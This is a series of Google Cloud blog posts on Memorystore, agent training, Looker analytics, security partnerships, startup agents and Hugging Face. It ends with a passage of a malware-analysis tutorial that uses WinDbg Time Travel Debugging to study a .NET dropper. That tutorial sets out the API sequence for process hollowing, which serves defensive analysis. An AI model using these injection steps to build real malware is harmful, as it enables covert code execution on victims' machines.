Because Memorystore for Redis supports partial updates, we can change individual fields within a session object rather than rewriting the entire record. That reduces network traffic, speeds up write performance, and makes the system more efficient overall – especially important when sessions can grow to many megabytes in size. These efficiencies translate directly into giving our engineering teams more time to focus on application-level performance and new feature development.

Session data in Memorystore for Redis Cluster is now integral to Waze’s core features, from evaluating configurations to triggering real-time updates for drivers. It supports today’s demands and is built to handle what’s ahead.

The road ahead

By proving Memorystore for Redis Cluster in one of Waze’s most critical paths, we’ve built the confidence to use it in other high-throughput caching scenarios across the platform. The centralized Session Server and clustered Redis architecture are now standard building blocks in our backend, which we can apply to new services without starting from scratch.

With that initial critical path complete, our next major focus is the migration of all remaining legacy session management from our RT server. This work will ultimately give every microservice independent access to update session data. Looking ahead, we’re also focused on scaling Memorystore for Redis Cluster to meet future user growth and fine-tuning it for both cost and performance.

Learn more

Waze’s story showcases the power and flexibility of Memorystore for Redis Cluster, a fully managed service with 99.99% availability for high-scale, real-time workloads. 

• Learn more about the power of Memorystore and get started for free. 

• See Memorystore for Redis Cluster product documentation.

Welcome back to The Agent Factory! In this episode, we’re joined by Ravin Kumar, a Research Engineer at DeepMind, to tackle one of the biggest topics in AI right now: building and training open-source agentic models. We wanted to go beyond just using agents and understand what it takes to build the entire factory line—from gathering data and supervised fine-tuning to reinforcement learning and evaluations.

This post guides you through the key ideas from our conversation. Use it to quickly recap topics or dive deeper into specific segments with links and timestamps.

The Agent Industry Pulse

Timestamp: 2:00

Before diving into the deep research, we looked at the latest developments in the fast-moving world of AI agents.

• Gemini 2.5 Computer Use: Google’s new model can act as a virtual user, interacting with computer screens, clicking buttons, typing in forms, and scrolling. It’s a shift from agents that just know things to agents that can do tasks directly in a browser.

• Vibe Coding in AI Studio: A new approach to app building where you describe the “vibe” of the application you want, and the AI handles the boilerplate. It includes an Annotation Mode to refine specific UI elements with simple instructions like “Change this to green.”

• DeepSeek-OCR and Context Compression: DeepSeek introduced a method that treats documents like images to understand layout, compressing 10-20 text tokens into a single visual token. This drastically improves speed and reduces cost for long-context tasks.

• Google Veo 3.1 and Flow: The new update to the AI video model adds rich audio generation and powerful editing features. You can now use “Insert” to add characters or “Remove” to erase objects from existing video footage, giving creators iterative control.

Ravin Kumar on Building Open Models

We sat down with Ravin to break down the end-to-end process of creating an open model with agent capabilities. It turns out the process mirrors a traditional ML lifecycle but with significantly more complex components.

Defining Agent Data

Timestamp: 14:55

Ravin explained that training data for agents looks vastly different from standard text datasets. It starts with identifying what users actually need. The data itself is a collection of trajectories, complex examples of the model making decisions and using tools. Ravin noted that they use a mix of human-curated data and synthetic data generated by their own internal “teacher” models and APIs to create a playground for the open models to learn in.

Training Techniques: SFT and Reinforcement Learning

Timestamp: 17:14 

Once the data is ready, the training process involves a two-phase approach. First comes Supervised Fine-Tuning (SFT), where frameworks update the model’s weights to nudge it into new behaviors based on the examples. However, to handle generalization—new situations not in the original trainin data—they rely on Reinforcement Learning (RL). Ravin highlighted the difficulty of setting rewards in RL, warning that models are prone to “reward hacking,” where they might collect intermediate rewards without ever completing the final task.

The Stakes of Evaluation

Timestamp: 20:10

Ravin emphasized that evaluation is the most critical and high-stakes part of the process. You can’t just trust the training process; you need a rigorous “final exam.” They use a combination of broad public benchmarks to measure general capability and specific, custom evaluations to ensure the model is safe and effective for its intended user use case.

Conclusion

This conversation with Ravin Kumar really illuminated that building open agentic models is a highly structured, rigorous process. It requires creating high-quality trajectories for data, a careful combination of supervised and reinforcement learning, and, crucially, intense evaluation.

Your turn to build

As Ravin advised, the best place to start is at the end. Before you write a single line of training code, define what success looks like by building a small, 50-example final exam for your agent. If you can’t measure it, you can’t improve it. We also encourage you to try mixing different approaches; for example, using a powerful API model like Gemini as a router and a specialized open-source model for specific tasks.

Check out the full episode for more details, and catch us next time!

Connect with us

• Ivan Nardini → LinkedIn, X, Bsky

• Amit Maraj → LinkedIn, X, TikTok

• Ravin Kumar → LinkedIn

In a world of increasing data volume and demand, businesses are looking to make faster decisions and separate insight from noise. Today, we’re bringing Conversational Analytics to general availability in Looker, delivering natural language queries to everyone in your organization, removing BI bottlenecks. With Conversational Analytics, we’re transforming the way you get answers, cutting through stale dashboards and accelerating data discovery. Our goal: make analytics and AI as easy and scalable as performing a Google search, extending BI to the broader enterprise as you go from prompt to full data exploration in seconds.

We announced the preview of Conversational Analytics at Google Cloud Next in April. Since then, we’ve also extended the ability to leverage Google’s latest Gemini models with your own custom applications through the Conversational Analytics API, showcased productivity improvements that come from the convergence of AI and BI, and empowered today’s modern data analysts and developers to do more, faster.

Now, with Conversational Analytics, getting an answer from your data is as simple as chatting with your most knowledgeable colleague. By tapping into human conversation, Conversational Analytics relieves you from struggling with complex dashboard filters, obscure field names, or the need to write custom SQL.

“At YouTube, we’re focused on helping creators succeed and bring their creativity to the world. We’ve been testing Conversational Analytics in Looker to give our partner managers instant, actionable data that lets them quickly guide creators and optimize creator support.” – Thomas Seyller, Senior Director, Technology & Insights, YouTube Business 

The general availability of Conversational Analytics combines the reasoning power of Gemini, new capabilities in Google’s agentic frameworks, and the trusted data modeling of the Looker platform. Together, these set the stage for the next chapter in self-service analytics, making reliable data insights accessible to the entire enterprise. Conversational Analytics agents can understand your questions and provide insightful answers to questions about your data.

New at general availability is the ability to analyze data across domains. You can ask questions that integrate insights from up to five distinct Looker Explores (pre-joined views), spanning multiple business areas. Additionally, you can share the agents you build with colleagues, giving them faster access to a single source of truth, speeding consensus, and driving uniform decisions.

Built on a trusted, governed foundation

The power of Conversational Analytics isn’t just in the conversation it enables; it’s in the trust of the underlying data. Conversational Analytics is grounded in Looker’s semantic layer, which ensures that every metric, field, and calculation is centrally defined and consistent, acting as a crucial context engine for AI. As more of your colleagues rapidly use these expanded capabilities, you need to know the results they see and act on are accurate.

For analysts looking to explore data or everyday users receiving insights in the context of their business, Conversational Analytics also improves data self-service, minimizing technical friction that can create bottlenecks and leaves insights locked away.

You can now:

• Ask anything, anytime: Get instant answers to simple questions like “Show me our website traffic last month for shoe sales,” leading to deeper questions and greater insights across business areas and domains.

• Deepen the discovery: Move beyond the constraints of static dashboards and ask open-ended questions like, “Show me the trend of website traffic over the past six months and filter it by the California region.” The system intelligently generates the appropriate query and visualization instantly.

• Extend enterprise BI: Connect your Looker models to your enterprise BI ecosystem, centralize and share agents, and create new dashboards, starting with a prompt. Built on top of Looker Explores, Conversational Analytics’ natural language interface usesLookML for fine tuning and output accuracy.

• Pivot quickly: The conversational interface supports multi-turn questions, so you can iterate on your findings. Ask for total sales, then follow up with, “Now show me that as an area chart, broken down by payment method.”

• Gain full transparency: To build confidence and data literacy, the “How was this calculated?” feature provides a clear, natural language explanation of the underlying query that generated the results, so that you understand the source of your findings.

Empower the BI analyst and business user

Conversational Analytics is democratizing data for business teams, helping them govern the business’s data. At the same time, it’s also enhancing productivity and influence for data analysts and developers.

When business users can self-serve trusted data insights, data analysts see fewer interruptions and “ad-hoc” ticket requests, and can instead focus on high-impact work. Analysts can customize their client teams’ BI experiences by building Conversational Analytics agents that define common questions, filters, and style guidelines, so different teams can act on the same data in different ways.

Get ready to start talking

Conversational Analytics is available now for all Looker platform users. Your admin can enable it in your Looker instance today and you will discover how easy it is to move from simply asking “What?” to confidently determining “What’s next?” For more information, review the product documentation or watch this video tutorial.

At Google Cloud, we believe that being at the forefront of driving secure innovation and meeting the evolving needs of customers includes working with partners. The reality is that the security landscape should be interoperable, and your security tools should be able to integrate with each other. 

Google Unified Security, our AI-powered, converged security solution, has been designed to support greater customer choice. To further this vision, today we’re announcing Google Unified Security Recommended, a new program that expands strategic partnerships with market-leading security solutions trusted by our customers.

We welcome CrowdStrike, Fortinet, and Wiz as inaugural Google Unified Security Recommended partners. These integrations are designed to meet our customers where they are today and ensure their end-to-end deployments are built to scale with Google in the future.

Building confidence through validated integrations

As part of the Google Unified Security Recommended program, partners agree to adhere to comprehensive technical integration across Google’s security product portfolio; a collaborative, customer-first support model that reflects our intent to collectively protect our customers; and invest jointly in AI innovation. This program offers our customers:

• Enhanced confidence: Select partner products that have undergone evaluation and validation to ensure optimal integration with Google Unified Security.

• Accelerated discovery: Streamline your evaluation process with a carefully curated selection of market-leading solutions addressing specific enterprise challenges.

• Prioritize outcomes: Minimize integration overhead, allowing your team to allocate resources towards building security solutions that deliver business outcomes.

We’re working to ensure that customers can use solutions that are powerful today — and designed for future advancements. Learn more about the product-level requirements that define the Google Unified Security Recommended designation here. 

Our inaugural partners: Unifying your defenses

Our collaborations with CrowdStrike, Fortinet and Wiz exemplify our “better together” philosophy by addressing tangible security challenges.

CrowdStrike Falcon (endpoint protection): Integrations between the AI-native CrowdStrike Falcon® platform, Google Security Operations, Google Threat Intelligence, and Mandiant Threat Defense can enable customers to detect, investigate, and respond to threats faster across hybrid and multicloud environments. 

Customers can use Falcon Endpoint risk signals to define Context-Aware access policies enforced by Google Chrome Enterprise. The collaboration also supports integrations that secure the AI lifecycle — and extends through the model context protocol (MCP) to advance AI for security operations. Together, CrowdStrike and Google Cloud deliver unified protection across endpoint, identity, cloud, and data.

“CrowdStrike and Google Cloud share a vision for an open, AI-powered future of security. Together, we’re uniting our leading AI-native platforms – Google Security Operations and the CrowdStrike Falcon® platform – to help customers harness the power of generative AI and stay ahead of modern threats,” said Daniel Bernard, chief business officer, CrowdStrike.

Fortinet cloud-delivered SASE and Next-Generation Firewall (network protection): Integrating Fortinet’s Security Fabric with Google Security Operations combines AI-driven FortiGuard Threat Intelligence with rich network and web telemetry to deliver unified visibility and control across users, applications, and network edges. 

Customers can integrate FortiSASE and FortiGate solutions into Google Security Operations to correlate activity across their environments, apply advanced detections, and automate coordinated response actions that contain threats in near real-time. This collaboration can help reduce complexity, streamline operations, and strengthen protection across hybrid infrastructures.

“Customers are demanding simplified security architectures that reduce complexity and strengthen protection,” said Nirav Shah, senior vice president, Product and Solutions, Fortinet. “As an inaugural partner in the Google Cloud Unified Security Recommended program, we are combining the power of FortiSASE and the Fortinet Security Fabric with Google Cloud’s security capabilities to converge networking and security across environments. This approach gives SecOps and NetOps shared visibility and coordinated controls, helping teams eliminate tool sprawl, streamline operations, and accelerate secure digital transformation.”

Wiz (multicloud CNAPP): Customers can integrate Wiz’s cloud security findings with Google Security Operations to help teams identify, prioritize, and address their most critical cloud risks in a unified platform. 

In addition, Wiz and Security Command Center integrate to provide complete visibility and security for Google Cloud environments, including threat detection, AI security, and in-console security for application owners. Wiz is actively developing a new Google Threat Intelligence (GTI) integration that allows existing GTI customers to access threat intelligence seamlessly in the Wiz console, enabling threat intelligence-driven detection and response processes.

“Achieving secure innovation in the cloud requires unified visibility and radical risk prioritization. Our inclusion in the Google Unified Security Recommended program recognizes the power of Wiz to deliver code-to-cloud security for Google Cloud customers. By integrating our platform with Google Security Operations and Security Command Center, we enable customers to see their multicloud attack surface, prioritize the most critical risks, and automatically accelerate remediation. Together, we are simplifying the most complex cloud security challenges and making it easier for you to innovate securely,” said Anthony Belfiore, chief strategy officer, Wiz.

Powering the agentic SOC with MCP

A critical aspect of Google Unified Security Recommended is our shared dedication to strategic AI initiatives, including MCP support. Because it enables AI models to interact with and use security tools, MCP can enhance security workflows by ensuring Gemini models possess contextual awareness across multiple downstream services.

MCP can help facilitate an enhanced, cross-platform agentic experience. With MCP, our new AI agents — such as the alert triage agent in Google Security Operations that autonomously investigates alerts — can query partner tools for telemetry, enrich investigations with third-party data, and orchestrate response actions across your entire security stack. 

We are proud to confirm that all of our inaugural launch partners support MCP and have developed recommended approaches for how to activate MCP-supported agentic workflows across our products, a crucial step towards realizing our vision of an agentic SOC where AI functions as a virtual security assistant, proactively identifying threats and guiding you to faster, more effective responses.

Our open future on Google Cloud Marketplace

The introduction of the Google Unified Security Recommended program is only the beginning. We are dedicated to expanding this program to include a wider array of most trusted partner solutions with substantial investment across the Google Unified Security product suite, helping our customers build a more scalable, effective, and interoperable security architecture.

For simplified procurement and deployment, all qualified Google Unified Security Recommended solutions are available in the Google Cloud Marketplace. We offer Google Unified Security and Google Cloud customers streamlined purchasing of third-party offerings, all consolidated into one Google Cloud bill.

To learn more about the program and explore Google-validated solutions from our partners, visit the Google Unified Security Recommended page. Tech partners interested in program consideration are encouraged to reach out for guidance.

AI agents are transforming the nature of work by automating complex workflows with speed, scale, and accuracy.  At the same time, startups are constantly moving, growing, and evolving – which means they need clear ways to implement agentic workflows, not piles of documentation that send precious resources into a tailspin.

Today, we’ll share a simple four-step framework to help startups build multi-agent systems.  Multi-agentic workflows can be complicated, but there are easy ways to get started and see real gains without spending weeks in production. 

In this post, we’ll show you a systematic, operations-driven roadmap for navigating this new landscape, using one of our projects to provide concrete examples for the concepts laid out in the official startups technical guide: AI agents.

Step #1: Build your foundation 

The startups technical guide outlines three primary paths for leveraging agents:

1. Pre-built Google agents

2. Partner agents

3. Custom-built agents (agents you build on your own).

To build our Sales Intelligence Agent, we needed to automate a highly specific, multi-step workflow that involved our own proprietary logic and would eventually connect to our own data sources. This required comprehensive orchestration control and tool definition that only a “code-first” approach could provide.

That’s why we chose Google’s Agent Development Kit (ADK) as our framework. It offered the balance of power and flexibility necessary to build a truly custom, defensible system, combined with high-level abstractions for agent composition and orchestration that accelerated our development.

Step #2: Build out the engine 

We took a hybrid approach when building our agent architecture, which is managed by a top-level root_agent in orchestrator.py. Its primary role is to act as an intelligent controller using an LLM Agent for flexible user interaction, while delegating the core processing loop to [more deterministic ADK components like LoopAgent and custom BaseAgent classes.

1. Conversational onboarding: The LLM Agent starts by acting as a conversational “front-door,” interacting with the user to collect their name and email.

2. Workflow delegation: Once it has the user’s information, it delegates the main workflow to a powerful LoopAgent defined in its sub_agents list.

3. Data loading: The first step inside the LoopAgent is a custom agent called the CompanyLoopController. On the very first iteration of the loop, its job is to call our crm_tool to fetch the list of companies from the Google Sheet and load them into the session state.

4. Tool-based execution in a loop:  The loop processes each company by calling two key tools: the research_pipeline tool that encapsulates our complex company_researcher_agent and the sales_briefing_agent tool  that encapsulates the sales_briefing_agent. This “Agent-as-a-Tool” pattern is crucial for state isolation (more in Step 3).

This hybrid pattern gives us the best of both worlds: the flexibility of an LLM for user interaction and the structured, reliable control of a workflow agent with isolated, tool-based execution. 

Step #3: Tools, state, and reliability

An agent is only as powerful as the tools it can wield. To be truly useful, our system needed to connect to live data, not just a static local file. To achieve this, we built a custom tool, crm_tool.py, to allow our agent to read its list of target companies directly from a Google Sheet.

To build our read_companies_from_sheet function, we focused on two key areas:

1. Secure authentication: We used a Google Cloud Service Account for authentication, a best practice for production systems. Our code includes a helper function, get_sheets_service(), that centralizes all the logic for securely loading the service account credentials and initializing the API client.

2. Configuration management: All configuration, including the SPREADSHEET_ID, is managed via our .env file. This decouples the tool’s logic from its configuration, making it portable and secure.

This approach transformed our agent from one that could only work with local data to one that could securely interact with a live, cloud-based source of truth.

Managing state in loops: The “Agent-as-a-Tool” Pattern A critical challenge in looping workflows is ensuring state isolation between iterations. ADK’s session.state persists, which can cause ‘context rot’ if not managed. Our solution was the “Agent-as-a-Tool” pattern. Instead of running the complex company_researcher_agent directly in the loop, we encapsulated its entire SequentialAgent pipeline into a single, isolated AgentTool (company_researcher_agent_tool).

Every time the loop calls this tool, the ADK provides a clean, temporary context for its execution. All internal steps (planning, QA loop, compiling) happen within this isolated context. When the tool returns the final compiled_report, the temporary context is discarded, guaranteeing a fresh start for the next company. This pattern provides perfect state isolation by design, making the loop robust without manual cleanup logic.

Step 4: Go from Localhost to a scalable deployed product 

Here is our recommended three-step blueprint for moving from a local prototype to a production-ready agent on Google Cloud.

1. Adopt a production-grade project template
Our most critical lesson was that a simple, local-first project structure is not built for the rigors of the cloud. The turning point for our team was adopting Google’s official Agent Starter Pack. This professional template is not just a suggestion; for any serious project, we now consider it a requirement. It provides three non-negotiable foundations for success out of the box:

• Robust dependency management: It replaces the simplicity of local tools like Poetry with the production-grade power of PDM and uv, ensuring that every dependency is locked and every deployment is built from a fast, deterministic, and repeatable environment.

• A pre-configured CI/CD pipeline: It comes with a ready-to-use continuous integration and deployment pipeline for Google Cloud Build, which automates the entire process of testing, building, and deploying your agent.

• Multi-environment support: The template is pre-configured for separate staging and production environments, a best practice that allows you to safely test changes in an isolated staging environment before promoting them to your live users.

The process begins by using the official command-line tool to generate your project’s local file structure. This prompts you to choose a base template; we used the “ADK Base Template” and then moved our agent logic into the newly created source code files ( App) .

The final professional project structure:

With the local files created, the next step is to provision the cloud infrastructure. From inside the new project directory, you run the setup-cicd command. This interactive wizard connects to your Google Cloud and GitHub accounts, then uses Terraform under the hood to automatically build your entire cloud environment, including the CI/CD pipeline.

2. Cloud Build 
Once the setup is complete with the starter pack, your development workflow becomes incredibly simple. Every time a developer pushes a new commit to the main branch of your GitHub repository:

• Google Cloud Build fetches your latest code.

• It builds your agent into a secure, portable container image. This process includes installing all the dependencies from your uv.lock file, guaranteeing a perfect, repeatable build every single time.

• It deploys this new version to your staging environment. Within minutes, your latest code is live and ready for testing in a real cloud environment.

• It waits for your approval. The pipeline is configured to require a manual “Approve” click in the Cloud Build console before it will deploy that exact same, tested version to your production environment. This gives you the perfect balance of automation and control.

3. Deploy on Agent Engine and Cloud Run 
The final piece of the puzzle is where the agent actually runs. Cloud Build deploys your agent to Vertex AI Agent Engine, which provides the secure, public endpoint and management layer for your agent.

Crucially, Agent Engine is built on top of Google Cloud Run, a powerful serverless platform. This means you don’t have to manage any servers yourself. Your agent automatically scales up to handle thousands of users, and scales down to zero when not in use, meaning you only pay for the compute you actually consume. 

Get started 

Ready to build your own?

• Explore the code for our Sales Intelligence Agent on GitHub.

• Dive deeper with the Startups Technical Guide: AI agents.

• Get started with production deployments using the Agent Starter Pack.

• No matter where you are with AI adoption, we are here to help. Contact our Startup team today and you could get up to $350,000 USD in cloud credits with the Google for Startups Cloud Program,

^{The technical journey and insights detailed in this blog post were the result of a true team effort. I want to extend my sincere appreciation to the core collaborators whose work provided the foundation for this article: Luis Sala, Isaac Attuah, Ishana Shinde, Andrew Thankson, and Kristin Kim. Their hands-on contributions to architecting and building the agent were essential to the lessons shared here.}

For those building with AI, most are in it to change the world — not twiddle their thumbs. So when inspiration strikes, the last thing anyone wants is to spend hours waiting for the latest AI models to download to their development environment.

That’s why today we’re announcing a deeper partnership between Hugging Face and Google Cloud that:

• reduces Hugging Face model download times through Vertex AI and Google Kubernetes Engine

• offers native support for TPUs on all open models sourced through Hugging Face

• provides a safer experience through Google Cloud’s built-in security capabilities.

We’ll enable faster download times through a new gateway for Hugging Face repositories that will cache Hugging Face models and datasets directly on Google Cloud. Moving forward, developers working with Hugging Face’s open models on Google Cloud should expect download times to take minutes, not hours.

We’re also working with Hugging Face to add native support for TPUs for all open models on the Hugging Face platform. This means that whether developers choose to deploy training and inference workloads on NVIDIA GPUs or on TPUs, they’ll experience the same ease of deployment and support. 

Open models are gaining traction with enterprise developers, who typically work with specific security requirements. To support enterprise developers, we’re working with Hugging Face to bring Google Cloud’s extensive security protocols to all Hugging Face models deployed through Vertex AI. This means that any Hugging Face model on Vertex AI Model Garden will now be scanned and validated with Google Cloud’s leading cybersecurity capabilities powered by our Threat Intelligence platform and Mandiant.

A more open AI

Ultimately, we’re committed — through our robust and diverse AI ecosystem — to supporting developers with class-leading AI tools, a choice of AI-optimized infrastructure, and a selection of models in the hundreds; this includes a broad set of open models optimized to run Google Cloud through Hugging Face.

This expanded partnership with Hugging Face furthers that commitment and will ensure that developers have an optimal experience when serving AI models on Google Cloud, whether they choose a model from Google, from our many partners, or one of the thousands of open models available on Hugging Face.

You can read more on Hugging Face’s blog.

Written by: Josh Stroschein, Jae Young Kim

The prevalence of obfuscation and multi-stage layering in today’s malware often forces analysts into tedious and manual debugging sessions. For instance, the primary challenge of analyzing pervasive commodity stealers like AgentTesla isn’t identifying the malware, but quickly cutting through the obfuscated delivery chain to get to the final payload.

Unlike traditional live debugging, Time Travel Debugging (TTD) captures a deterministic, shareable record of a program’s execution. Leveraging TTD’s powerful data model and time travel capabilities allow us to efficiently pivot to the key execution events that lead to the final payload.

This post introduces all of the basics of WinDbg and TTD necessary to start incorporating TTD into your analysis. We demonstrate why it deserves to be a part of your toolkit by walking through an obfuscated multi-stage .NET dropper that performs process hollowing.

What is Time Travel Debugging?

Time Travel Debugging (TTD), a technology offered by Microsoft as part of WinDbg, records a process’s execution into a trace file that can be replayed forwards and backwards. The ability to quickly rewind and replay execution reduces analysis time by eliminating the need to constantly restart debugging sessions or restore virtual machine snapshots. TTD also enables users to query the recorded execution data and filter it with Language Integrated Query (LINQ) to find specific events of interest like module loads or calls to APIs that implement malware functionalities like shellcode execution or process injection.

During recording, TTD acts as a transparent layer that allows full interaction with the operating system. A trace file preserves a complete execution record that can be shared with colleagues to facilitate collaboration, circumventing environmental differences that can affect the results of live debugging.

While TTD offers significant advantages, users should be aware of certain limitations. Currently, TTD is restricted to user-mode processes and cannot be used for kernel-mode debugging. The trace files generated by TTD have a proprietary format, meaning their analysis is largely tied to WinDbg. Finally, TTD does not offer “true” time travel in the sense of altering the program’s past execution flow; if you wish to change a condition or variable and see a different outcome, you must capture an entirely new trace as the existing trace is a fixed recording of what occurred.

A Multi-Stage .NET Dropper with Signs of Process Hollowing

The Microsoft .NET framework has long been popular among threat actors for developing highly obfuscated malware. These programs often use code flattening, encryption, and multi-stage assemblies to complicate the analysis process. This complexity is amplified by Platform Invoke (P/Invoke), which gives managed .NET code direct access to the unmanaged Windows API, allowing authors to port tried-and-true evasion techniques like process hollowing into their code.

Process hollowing is a pervasive and effective form of code injection where malicious code runs under the guise of another process. It is common at the end of downloader chains because the technique allows injected code to assume the legitimacy of a benign process, making it difficult to spot the malware with basic monitoring tools.

In this case study, we’ll use TTD to analyze a .NET dropper that executes its final stage via process hollowing. The case study demonstrates how TTD facilitates highly efficient analysis by quickly surfacing the relevant Windows API functions, enabling us to bypass the numerous layers of .NET obfuscation and pinpoint the payload.

Basic analysis is a vital first step that can often identify potential process hollowing activity. For instance, using a sandbox may reveal suspicious process launches. Malware authors frequently target legitimate .NET binaries for hollowing as these blend seamlessly with normal system operations. In this case, reviewing process activity on VirusTotal shows that the sample launches InstallUtil.exe (found in %windir%Microsoft.NETFramework<version>). While InstallUtil.exe is a legitimate utility, its execution as a child process of a suspected malicious sample is an indicator that helps focus our initial investigation on potential process injection.

Despite newer, more stealthy techniques, such as Process Doppelgänging, when an attacker employs process injection, it’s still often the classic version of process hollowing due to its reliability, relative simplicity, and the fact that it still effectively evades less sophisticated security solutions. The classic process hollowing steps are as follows:

1. CreateProcess (with the CREATE_SUSPENDED flag): Launches the victim process (InstallUtil.exe) but suspends its primary thread before execution.

2. ZwUnmapViewOfSection or NtUnmapViewOfSection: “Hollows out” the process by removing the original, legitimate code from memory.

3. VirtualAllocEx and WriteProcessMemory: Allocates new memory in the remote process and injects the malicious payload.

4. GetThreadContext: Retrieves the context (the state and register values) of the suspended primary thread.

5. SetThreadContext: Redirects the execution flow by modifying the entry point register within the retrieved context to point to the address of the newly injected malicious code.

6. ResumeThread: Resumes the thread, causing the malicious code to execute as if it were the legitimate process.

To confirm this activity in our sample using TTD, we focus our search on the process creation and the subsequent writes to the child process’s address space. The approach demonstrated in this search can be adapted to triage other techniques by adjusting the TTD queries to search for the APIs relevant to that technique.

Recording a Time Travel Trace of the Malware

To begin using TTD, you must first record a trace of a program’s execution. There are two primary ways to record a trace: using the WinDbg UI or the command-line utilities provided by Microsoft. The command-line utilities offer the quickest and most customizable way to record a trace, and that is what we’ll explore in this post.

Warning: Take all usual precautions for performing dynamic analysis of malware when recording a TTD trace of malware executables. TTD recording is not a sandbox technology and allows the malware to interface with the host and the environment without obstruction.

TTD.exe is the preferred command-line tool for recording traces. While Windows includes a built-in utility (tttracer.exe), that version has reduced features and is primarily intended for system diagnostics, not general use or automation. Not all WinDbg installations provide the TTD.exe utility or add it to the system path. The quickest way to get TTD.exe is to use the stand-alone installer provided by Microsoft. This installer automatically adds TTD.exe to the system’s PATH environment variable, ensuring it’s available from a command prompt. To see its usage information, run TTD.exe -help.

The quickest way to record a trace is to simply provide the command line invoking the target executable with the appropriate arguments. We use the following command to record a trace of our sample:

C:UsersFLAREDesktop> ttd.exe 0b631f91f02ca9cffd66e7c64ee11a4b.bin
Microsoft (R) TTD 1.01.11 x64
Release: 1.11.532.0
Copyright (C) Microsoft Corporation. All rights reserved.

Launching '0b631f91f02ca9cffd66e7c64ee11a4b.bin'
    Initializing the recording of process (PID:2448) on trace file: C:UsersFLAREDesktopb631f91f02ca9cffd66e7c64ee11a4b02.run
    Recording has started of process (PID:2448) on trace file: C:UsersFLAREDesktopb631f91f02ca9cffd66e7c64ee11a4b02.run

Once TTD begins recording, the trace concludes in one of two ways. First, the tracing automatically stops upon the malware’s termination (e.g., process exit, unhandled exception, etc.). Second, the user can manually intervene. While recording, TTD.exe displays a small dialog (shown in figure 2) with two control options:

• Tracing Off: Stops the trace and detaches from the process, allowing the program to continue execution.

• Exit App: Stops the trace and also terminates the process.

Recording a TTD trace produces the following files:

• <trace>.run: The trace file is a proprietary format that contains compressed execution data. The size of a trace file is influenced by the size of the program, the length of execution, and other external factors such as the number of additional resources that are loaded.

• <trace>.idx: The index file allows the debugger to quickly locate specific points in time during the trace, bypassing sequential scans of the entire trace. The index file is created automatically the first time a trace file is opened in WinDbg. In general, Microsoft suggests that index files are typically twice the size of the trace file.

• <trace>.out: The trace log file containing logs produced during trace recording.

Once a trace is complete, the .run file can be opened with WinDbg.

Triaging the TTD Trace: Shifting Focus to Data

The fundamental advantage of TTD is the ability to shift focus from manual code stepping to execution data analysis. Performing rapid, effective triage with this data-driven approach requires proficiency in both basic TTD navigation and querying the Debugger Data Model. Let’s begin by exploring the basics of navigation and the Debugger Data Model.

Navigating a Trace

Basic navigation commands are available under the Home tab in the WinDbg UI.

The standard WinDbg commands and shortcuts for controlling execution are:

• g: Go (F5) – Resume execution

• gu: Go Up / Step Out (Shift+F11) – Execute until current function is complete

• t: Trace / Step Into (F11 or F8) – Single step into

• p: Step / Step Over (F10) – Single step over

Replaying a TTD trace enables the reverse flow control commands that complement the regular flow control commands. Each reverse flow control complement is formed by appending a dash (–) to the regular flow control command:

• g-: Go Back – Execute the trace backwards

• g-u: Step Out Back – Execute the trace backwards up to the last call instruction

• t-: Step Into Back – Single step into backwards

• p-: Step Over Back – Single step over backwards

Time Travel (!tt) Command

While basic navigation commands let you move step-by-step through a trace, the time travel command (!tt) enables precise navigation to a specific trace position. These positions are often provided in the output of various TTD commands. A position in a TTD trace is represented by two hexadecimal numbers in the format #:# (e.g., E:7D5) where:

• The first part is a sequencing number typically corresponding to a major execution event, such as a module load or an exception.

• The second part is a step count, indicating the number of events or instructions executed since that major execution event.

We’ll use the time travel command later in this post to jump directly to the critical events in our process hollowing example, bypassing manual instruction tracing entirely.

The TTD Debugger Data Model

The WinDbg debugger data model is an extensible object model that exposes debugger information as a navigable tree of objects. The debugger data model brings a fundamental shift in how users access debugger information in WinDbg, from wrangling raw text-based output to interacting with structured object information. The data model supports LINQ for querying and filtering, allowing users to efficiently sort through large volumes of execution information. The debugger data model also simplifies automation through JavaScript, with APIs that mirror how you access the debugger data model through commands.

The Display Debugger Object Model Expression (dx) command is the primary way to interact with the debugger data model from the command window in WinDbg. The model lends itself to discoverability – you can begin traversing through it by starting at the root Debugger object:

0:000> dx Debugger
Debugger
    Sessions
    Settings
    State
    Utility
    LastEvent

The command output lists the five objects that are properties of the Debugger object. Note that the names in the output, which look like links, are marked up using the Debugger Markup Language (DML). DML enriches the output with links that execute related commands. Clicking on the Sessions object in the output executes the following dx command to expand on that object:

0:000> dx -r1 Debugger.Sessions
Debugger.Sessions                
    [0x0]            : Time Travel Debugging: 0b631f91f02ca9cffd66e7c64ee11a4b.run

The -r# argument specifies recursion up to # levels, with a default depth of one if not specified. For example, increasing the recursion to two levels in the previous command produces the following output:

0:000> dx -r2 Debugger.Sessions
Debugger.Sessions                
    [0x0]            : Time Travel Debugging: 0b631f91f02ca9cffd66e7c64ee11a4b.run
        Processes       
        Id               : 0
        Diagnostics     
        TTD             
        OS              
        Devices         
        Attributes

The -g argument displays any iterable object into a data grid in which each element is a grid row and the child properties of each element are grid columns.

0:000> dx -g Debugger.Sessions

Debugger and User Variables

WinDbg provides some predefined debugger variables for convenience which can be listed through the DebuggerVariables property.

0:000> dx Debugger.State.DebuggerVariables
Debugger.State.DebuggerVariables                
   cursession       : Time Travel Debugging: 0b631f91f02ca9cffd66e7c64ee11a4b.run
    curprocess       : 0b631f91f02ca9cffd66e7c64ee11a4b.exe [Switch To]
    curthread        [Switch To]
    scripts         
    scriptContents   : [object Object]
    vars            
    curstack        
    curframe         : ntdll!LdrInitializeThunk [Switch To]
    curregisters    
    debuggerRootNamespace

Frequently used variables include:

• @$cursession: The current debugger session. Equivalent to Debugger.Sessions[<session>]. Commonly used items include:

• @$cursession.Processes: List of processes in the session.

• @$cursession.TTD.Calls: Method to query calls that occurred during the trace.

• @$cursession.TTD.Memory: Method to query memory operations that occurred during the trace.

• @$curprocess.Modules: List of currently loaded modules.

• @$curprocess.TTD.Events: List of events that occurred during the trace.

Investigating the Debugger Data Model to Identify Process Hollowing

With a basic understanding of TTD concepts and a trace ready for investigation, we can now look for evidence of process hollowing. To begin, the Calls method can be used to search for specific Windows API calls. This search is effective even with a .NET sample because the managed code must interface with the unmanaged Windows API through P/Invoke to perform a technique like process hollowing.

Process hollowing begins with the creation of a process in a suspended state via a call to CreateProcess with a creation flag value of 0x4. The following query uses the Calls method to return a table of each call to the kernel32 module’s CreateProcess* in the trace; the wildcard (*) ensures the query matches calls to either CreateProcessA or CreateProcessW.

0:000> dx -g @$cursession.TTD.Calls("kernel32!CreateProcess*")

